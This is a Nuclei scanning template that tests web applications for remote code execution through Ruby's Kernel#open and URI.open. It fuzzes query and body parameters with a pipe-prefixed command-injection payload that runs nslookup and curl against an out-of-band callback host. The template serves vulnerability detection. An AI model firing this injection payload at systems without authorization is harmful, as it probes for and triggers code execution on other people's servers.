id: cmdi-ruby-open-rce

info:
  name: Ruby Kernel#open/URI.open RCE
  author: pdteam
  severity: high
  description: |
    Ruby's Kernel#open and URI.open enables not only file access but also process invocation by prefixing a pipe symbol (e.g., open(“| ls”)). So, it may lead to Remote Code Execution by using variable input to the argument of Kernel#open and URI.open.
  reference:
    - https://bishopfox.com/blog/ruby-vulnerabilities-exploits
    - https://codeql.github.com/codeql-query-help/ruby/rb-kernel-open/
  metadata:
    max-request: 1
  tags: cmdi,oast,dast,blind,ruby,rce,vuln

variables:
  marker: "{{interactsh-url}}"

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'
          - 'method == "PUT"'
    stop-at-first-match: true
    payloads:
      interaction:
        - "|nslookup {{marker}}|curl {{marker}}"

    fuzzing:
      - parts:
          - query
          - body
        fuzz:
          - "{{interaction}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4b0a00483046022100e0426452b9d9cfa0ff0ba648b26c60b3fbcc93a25174f502334d9693ddb5b41b0221008c11d287b5f6fc884922738abbf813b43201b6aede175b32f502fd4d2bd73419:922c64590222798bb761d5b6d8e72950